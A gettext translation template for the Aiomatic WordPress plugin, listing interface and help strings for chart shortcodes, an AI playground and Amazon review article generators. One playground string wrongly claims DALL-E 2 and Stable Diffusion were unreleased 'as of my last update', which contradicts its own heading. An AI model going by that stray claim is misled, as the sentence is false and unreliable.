pages, include it as follows:" msgstr "" #: res/aiomatic-more.php:118 msgid "Parameters:" msgstr "" #: res/aiomatic-more.php:119 msgid "The shortcode provides several parameters for chart customization:" msgstr "" #: res/aiomatic-more.php:121 msgid "" "(string): Specifies the type of chart to be displayed. Available options " "include:" msgstr "" #: res/aiomatic-more.php:121 msgid "Default:" msgstr "" #: res/aiomatic-more.php:122 msgid "" "(string): A unique identifier for the chart, auto-generated using a prefix " "and a random suffix if not specified." msgstr "" #: res/aiomatic-more.php:123 msgid "Dimensions" msgstr "" #: res/aiomatic-more.php:125 msgid "Width of the chart canvas. Default:" msgstr "" #: res/aiomatic-more.php:126 msgid "Height of the chart canvas. Default:" msgstr "" #: res/aiomatic-more.php:127 msgid "Overall width of the chart container. Default:" msgstr "" #: res/aiomatic-more.php:128 msgid "Overall height of the chart container. Default:" msgstr "" #: res/aiomatic-more.php:131 msgid "Data Handling" msgstr "" #: res/aiomatic-more.php:133 msgid "Comma-separated list of labels for the chart's X-axis. Example:" msgstr "" #: res/aiomatic-more.php:134 msgid "" "Comma-separated list of labels for each data series in Line, Radar, and Bar " "charts." msgstr "" #: res/aiomatic-more.php:135 msgid "" "Comma-separated list of data points for simple charts (e.g., Pie, Doughnut)." msgstr "" #: res/aiomatic-more.php:136 msgid "Data points for complex charts (e.g., Line, Bar), separated by" msgstr "" #: res/aiomatic-more.php:139 msgid "Customization" msgstr "" #: res/aiomatic-more.php:141 msgid "" "Comma-separated list of colors to style each dataset or data point. Default:" msgstr "" #: res/aiomatic-more.php:142 msgid "Opacity level for filling chart areas. Default:" msgstr "" #: res/aiomatic-more.php:143 msgid "Enable or disable animation (true/false). Default:" msgstr "" #: res/aiomatic-more.php:148 msgid "Size of scale labels in pixels. Default:" msgstr "" #: res/aiomatic-more.php:149 msgid "Color of the scale labels. Default:" msgstr "" #: res/aiomatic-more.php:150 msgid "Custom scale override (true/false). Default:" msgstr "" #: res/aiomatic-more.php:151 msgid "Custom scale parameters." msgstr "" #: res/aiomatic-more.php:155 msgid "Behavior Controls:" msgstr "" #: res/aiomatic-more.php:157 msgid "Script/Style Loading" msgstr "" #: res/aiomatic-more.php:157 msgid "" "Scripts and styles are conditionally loaded to prevent conflicts in admin " "pages, utilizing the WordPress" msgstr "" #: res/aiomatic-more.php:157 msgid "global variable." msgstr "" #: res/aiomatic-more.php:158 msgid "Responsive Design" msgstr "" #: res/aiomatic-more.php:158 msgid "" "CSS styles are included within the shortcode for both regular and mobile " "views." msgstr "" #: res/aiomatic-more.php:159 msgid "Usage Examples:" msgstr "" #: res/aiomatic-more.php:161 msgid "Line Chart Example" msgstr "" #: res/aiomatic-more.php:162 msgid "Pie Chart Example" msgstr "" #: res/aiomatic-more.php:164 msgid "AI Prompts:" msgstr "" #: res/aiomatic-more.php:166 msgid "" "You can use the below prompt (or any other variation of it, to instruct the " "AI to use the chart shortcode to generate charts and graphs using it, " "directly in the content it creates:" msgstr "" #: res/aiomatic-more.php:182 msgid "[aicontent] Shortcode Tutorial Video:" msgstr "" #: res/aiomatic-more.php:184 msgid "[aicontent] Nested Shortcode Support (Advanced Feature):" msgstr "" #: res/aiomatic-playground.php:15 msgid "Aiomatic Playground" msgstr "" #: res/aiomatic-playground.php:25 msgid "DALL-E 2 Image Generator" msgstr "" #: res/aiomatic-playground.php:26 msgid "DALL-E 3 Image Generator" msgstr "" #: res/aiomatic-playground.php:27 msgid "Stable Diffusion Image Generator" msgstr "" #: res/aiomatic-playground.php:28 msgid "Midjourney Image Generator" msgstr "" #: res/aiomatic-playground.php:29 msgid "Aiomatic Chat" msgstr "" #: res/aiomatic-playground.php:39 msgid "" "Welcome to this comprehensive tutorial on the 'AI Playground' functionality " "of the Aiomatic plugin. This powerful tool harnesses the capabilities of " "artificial intelligence to provide a wide range of features that can enhance " "your digital experience. In this tutorial, we'll cover several key " "functionalities of the AI Playground, including text completion, text " "editing, image generation using AI technologies like DALL-E 2 and Stable " "Diffusion, a chatbot feature, speech-to-text conversion using the Whisper " "API, and text moderation. Each of these features can be used in various ways " "to generate and manage content, interact with users, and more." msgstr "" #: res/aiomatic-playground.php:42 msgid "" "Please note that you will also be able to use the shortcodes provided at the " "bottom of the forms which can be used in the AI Playground. These will add " "the same forms also to the front end of your site." msgstr "" #: res/aiomatic-playground.php:45 msgid "" "Please check below the available playgrounds to test the plugin's features:" msgstr "" #: res/aiomatic-playground.php:49 msgid "" "Text completion is a feature where the AI can continue a text entered by the " "user. To use this feature, you would typically enter a piece of text, and " "the AI would generate a continuation of that text. This could be used for a " "variety of purposes, such as generating ideas for a story or completing a " "sentence in a natural-sounding way." msgstr "" #: res/aiomatic-playground.php:53 msgid "" "Text editing is a feature where the AI can be instructed to edit a text in " "multiple different ways. For example, you might input a piece of text and " "ask the AI to rewrite it in a more formal or informal tone, to simplify it, " "or to correct any grammatical errors. This could be useful for improving the " "quality of written content or adapting it for different audiences." msgstr "" #: res/aiomatic-playground.php:55 msgid "Image Generation Using DALL-E 2 and Stable Diffusion" msgstr "" #: res/aiomatic-playground.php:57 msgid "" "Image generation is a feature where the AI generates images based on " "prompts. You would typically enter a text prompt, and the AI would generate " "an image that represents that prompt. This could be used for a variety of " "creative purposes, such as generating artwork or visualizing concepts. " "Please note that as of my last update in September 2021, DALL-E 2 and Stable " "Diffusion were not released or announced, so I can't provide specific " "details about these technologies." msgstr "" #: res/aiomatic-playground.php:59 msgid "Chatbot Feature" msgstr "" #: res/aiomatic-playground.php:61 msgid "" "The chatbot feature allows you to chat with an AI bot, ask questions, and " "get replies. You would typically enter a question or statement, and the AI " "would generate a response. This could be used for a variety of purposes, " "such as answering frequently asked questions, providing customer support, or " "just having a conversation." msgstr "" #: res/aiomatic-playground.php:65 msgid "" "Speech to text is a feature where the AI converts speech to text. You would " "typically record a piece of audio, and the AI would transcribe it into text. " "This could be useful for a variety of purposes, such as transcribing " "interviews, dictating notes, or making audio content more accessible." msgstr "" #: res/aiomatic-playground.php:69 msgid "" "Text moderation is a feature where the AI filters unwanted content from your " "site. You would typically set up rules or criteria for what constitutes " "unwanted content, and the AI would review incoming content and filter out " "anything that meets those criteria. This could be used for a variety of " "purposes, such as preventing spam, blocking offensive content, or " "maintaining a positive community environment." msgstr "" #: res/aiomatic-playground.php:79 msgid "Check Also OpenAI's Playground" msgstr "" #: res/aiomatic-playground.php:86 res/aiomatic-playground.php:92 #: res/aiomatic-playground.php:98 res/aiomatic-playground.php:104 #: res/aiomatic-playground.php:110 res/aiomatic-playground.php:116 #: res/aiomatic-playground.php:122 res/aiomatic-playground.php:128 #: res/aiomatic-playground.php:134 res/aiomatic-playground.php:140 #: res/aiomatic-playground.php:146 msgid "Shortcode alternative: " msgstr "" #: res/aiomatic-review-list.php:165 msgid "Amazon Product Reviews" msgstr "" #: res/aiomatic-review-list.php:216 res/aiomatic-single-list.php:1121 msgid "" "Please provide a single ASIN of an Amazon product (ex: B07RZ74VLR). To " "create multiple product review posts, add a different ASIN, each on a new " "line." msgstr "" #: res/aiomatic-review-list.php:457 res/aiomatic-single-list.php:4661 #: res/aiomatic-single-list.php:7219 res/aiomatic-youtube-list.php:436 #: res/aiomatic-youtube-list.php:3005 #, php-format msgid "" "Enter a list of post sections, one per line. These will be headings of the " "content. These can also be automatically generated by the plugin. To enable " "auto generating of sections, leave this field blank. This will set the value " "of the %%sections%% shortcode, which can be used in prompts below. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you set a section list here, each created article will have " "this same list of sections, because of this, use shortcodes or Spintax when " "defining these static topics or leave this field blank for the plugin to " "auto generate them!" msgstr "" #: res/aiomatic-review-list.php:472 res/aiomatic-review-list.php:3148 #: res/aiomatic-rules-list.php:448 res/aiomatic-rules-list.php:3287 #: res/aiomatic-single-list.php:2688 res/aiomatic-single-list.php:4676 #: res/aiomatic-single-list.php:7234 res/aiomatic-youtube-list.php:451 #: res/aiomatic-youtube-list.php:3018 #, php-format msgid "" "Enter the number of sections to create in the article. These will also be " "set as article headings. You can also set value ranges, example: 5-7. In " "this case, a random number will be selected in this range. Please use only " "numeric values in this field. This field will set the value of the " "%%sections_count%% shortcode." msgstr "" #: res/aiomatic-review-list.php:476 res/aiomatic-rules-list.php:452 #: res/aiomatic-single-list.php:2692 res/aiomatic-single-list.php:4680 #: res/aiomatic-single-list.php:7238 res/aiomatic-youtube-list.php:455 msgid "Number Of Content Sections To Generate:" msgstr "" #: res/aiomatic-review-list.php:491 res/aiomatic-single-list.php:7253 msgid "Add Headings To Content As:" msgstr "" #: res/aiomatic-review-list.php:526 res/aiomatic-review-list.php:3225 #: res/aiomatic-single-list.php:7288 msgid "Select if you want to add the product image to the article." msgstr "" #: res/aiomatic-review-list.php:618 res/aiomatic-review-list.php:3317 #: res/aiomatic-single-list.php:7380 msgid "" "Select if you want to add a Customer Reviews Analysis section to the created " "post. To enable Customer Reviews Analysis for articles, be sure to add a " "prompt also in the 'Article Customer Reviews Analysis Prompt' settings field " "from below." msgstr "" #: res/aiomatic-review-list.php:622 res/aiomatic-single-list.php:7384 msgid "Add Article 'Customer Reviews Analysis' Section:" msgstr "" #: res/aiomatic-review-list.php:633 res/aiomatic-single-list.php:7395 msgid "" "Set the text of the Customer Reviews Analysis section header. Default is: " "Customer Reviews Analysis" msgstr "" #: res/aiomatic-review-list.php:637 res/aiomatic-single-list.php:7399 msgid "Article 'Customer Reviews Analysis' Section Header Text:" msgstr "" #: res/aiomatic-review-list.php:648 res/aiomatic-review-list.php:3347 #: res/aiomatic-single-list.php:7410 msgid "" "Select if you want to add a Pros & Cons section to the created post. To " "enable Pros & Cons for articles, be sure to add a prompt also in the " "'Article Pros & Cons Prompt' settings field from below." msgstr "" #: res/aiomatic-review-list.php:652 res/aiomatic-single-list.php:7414 msgid "Add Article 'Pros & Cons' Section:" msgstr "" #: res/aiomatic-review-list.php:663 res/aiomatic-single-list.php:7425 msgid "Set the text of the Pros & Cons section header. Default is: Pros & Cons" msgstr "" #: res/aiomatic-review-list.php:667 res/aiomatic-single-list.php:7429 msgid "Article 'Pros & Cons' Section Header Text:" msgstr "" #: res/aiomatic-review-list.php:851 res/aiomatic-review-list.php:3444 #: res/aiomatic-single-list.php:7613 msgid "Select the point of view of the article." msgstr "" #: res/aiomatic-review-list.php:855 res/aiomatic-single-list.php:7617 msgid "Point Of View:" msgstr "" #: res/aiomatic-review-list.php:859 res/aiomatic-review-list.php:3455 #: res/aiomatic-single-list.php:7621 msgid "First Person Singular (I, me, my, mine)" msgstr "" #: res/aiomatic-review-list.php:860 res/aiomatic-review-list.php:3460 #: res/aiomatic-single-list.php:7622 msgid "First Person Plural (we, us, our, ours)" msgstr "" #: res/aiomatic-review-list.php:861 res/aiomatic-review-list.php:3465 #: res/aiomatic-single-list.php:7623 msgid "Second Person Singular (you, your, yours)" msgstr "" #: res/aiomatic-review-list.php:862 res/aiomatic-review-list.php:3470 #: res/aiomatic-single-list.php:7624 msgid "Second Person Plural (you [plural], y'all, you guys)" msgstr "" #: res/aiomatic-review-list.php:863 res/aiomatic-review-list.php:3475 #: res/aiomatic-single-list.php:7625 msgid "Third Person Singular (he, she, it)" msgstr "" #: res/aiomatic-review-list.php:864 res/aiomatic-review-list.php:3480 #: res/aiomatic-single-list.php:7626 msgid "Third Person Plural (they, them, theirs, themselves)" msgstr "" #: res/aiomatic-review-list.php:876 res/aiomatic-review-list.php:3488 #: res/aiomatic-single-list.php:7638 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, " "%%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% " "is also supported, to get a list of PAA questions for the KEYWORD you want " "to use. Update: nested shortcodes also supported (shortcodes generated by " "rules from other plugins). You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators. You will also be able " "to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators. If " "you have access to the Amazon API, you can set it up in the plugin and get " "access to the following advanced shortcodes also: %%product_score%%, " "%%product_edition%%, %%product_language%%, %%product_pages_count%%, " "%%product_publication_date%%, %%product_contributors%%, " "%%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, " "%%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, " "%%product_warranty%%, %%product_color%%, %%product_is_adult%%, " "%%product_dimensions%%, %%product_date%%, %%product_size%%, " "%%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:914 res/aiomatic-single-list.php:7676 #, php-format msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:952 res/aiomatic-single-list.php:7714 #, php-format msgid "" "Prompt to be used for the main Sections of the article. These will be set " "also as headings in the article. You can use the following shortcodes: " "%%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, " "%%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%sections_count%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:956 res/aiomatic-rules-list.php:871 #: res/aiomatic-single-list.php:3111 res/aiomatic-single-list.php:5099 #: res/aiomatic-single-list.php:7718 res/aiomatic-youtube-list.php:874 msgid "Article Sections Prompt:" msgstr "" #: res/aiomatic-review-list.php:967 res/aiomatic-review-list.php:3585 #: res/aiomatic-rules-list.php:882 res/aiomatic-rules-list.php:3644 #: res/aiomatic-single-list.php:3122 res/aiomatic-single-list.php:5110 #: res/aiomatic-single-list.php:7729 res/aiomatic-youtube-list.php:885 #: res/aiomatic-youtube-list.php:3379 msgid "Select the AI Model to be used for the sections generator." msgstr "" #: res/aiomatic-review-list.php:971 res/aiomatic-rules-list.php:886 #: res/aiomatic-single-list.php:3126 res/aiomatic-single-list.php:5114 #: res/aiomatic-single-list.php:7733 res/aiomatic-youtube-list.php:889 msgid "AI Model For Sections Generator:" msgstr "" #: res/aiomatic-review-list.php:990 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %current_section%%, %%article_so_far%%, " "%%last_section_content%%, %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:1028 res/aiomatic-single-list.php:7790 #, php-format msgid "" "Prompt to be used for the Customer Reviews Analysis section of the article. " "You can use the following shortcodes: %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% " "is also supported, to get a list of PAA questions for the KEYWORD you want " "to use. Update: nested shortcodes also supported (shortcodes generated by " "rules from other plugins). You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators. If you have access to " "the Amazon API, you can set it up in the plugin and get access to the " "following advanced shortcodes also: %%product_score%%, %%product_edition%%, " "%%product_language%%, %%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:1032 res/aiomatic-single-list.php:7794 msgid "Article Customer Reviews Analysis Prompt:" msgstr "" #: res/aiomatic-review-list.php:1043 res/aiomatic-review-list.php:3669 #: res/aiomatic-single-list.php:7805 msgid "" "Select the AI Model to be used for the Customer Reviews Analysis generator." msgstr "" #: res/aiomatic-review-list.php:1047 res/aiomatic-single-list.php:7809 msgid "AI Model For Customer Reviews Analysis Generator:" msgstr "" #: res/aiomatic-review-list.php:1066 res/aiomatic-single-list.php:7828 #, php-format msgid "" "Prompt to be used for the Pros & Cons section of the article. You can use " "the following shortcodes: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:1070 res/aiomatic-single-list.php:7832 msgid "Article Pros & Cons Prompt:" msgstr "" #: res/aiomatic-review-list.php:1081 res/aiomatic-review-list.php:3711 #: res/aiomatic-single-list.php:7843 msgid "Select the AI Model to be used for the Pros & Cons generator." msgstr "" #: res/aiomatic-review-list.php:1085 res/aiomatic-single-list.php:7847 msgid "AI Model For Pros & Cons Generator:" msgstr "" #: res/aiomatic-review-list.php:1104 res/aiomatic-single-list.php:7866 #, php-format msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:1142 res/aiomatic-single-list.php:7904 #, php-format msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:1180 res/aiomatic-single-list.php:7942 #, php-format msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:1251 res/aiomatic-review-list.php:3891 #: res/aiomatic-single-list.php:8013 msgid "" "Select on which prompts do you want to run the above Regex. Possible values " "are (or any of their combinations): title, intro, sections, content, " "reviews, proscons, qa, outro, excerpt" msgstr "" #: res/aiomatic-review-list.php:1278 res/aiomatic-review-list.php:3914 #: res/aiomatic-single-list.php:8040 #, php-format msgid "" "This will be prepended to each prompt sent by the plugin to the AI writer. " "You can use the following shortcodes: %%topic%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" #: res/aiomatic-review-list.php:1293 res/aiomatic-review-list.php:3927 #: res/aiomatic-single-list.php:8055 #, php-format msgid "" "This will be appended to each prompt sent by the plugin to the AI writer. " "You can use the following shortcodes: %%topic%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" #: res/aiomatic-review-list.php:1715 res/aiomatic-review-list.php:4373 msgid "Amazon Product Thumbnail" msgstr "" #: res/aiomatic-review-list.php:1850 res/aiomatic-review-list.php:4527 #: res/aiomatic-single-list.php:8362 msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %" "%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%" "%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%" "%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %" "%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %" "%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %" "%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %" "%random_image_url[keyword]%%, %%random_video[keyword]%%, %" "%royalty_free_image_attribution%% - you can also use an optional parameter " "in the random_image and random_video shortcodes, which will add a percentage " "chance for the media to appear or not - example: 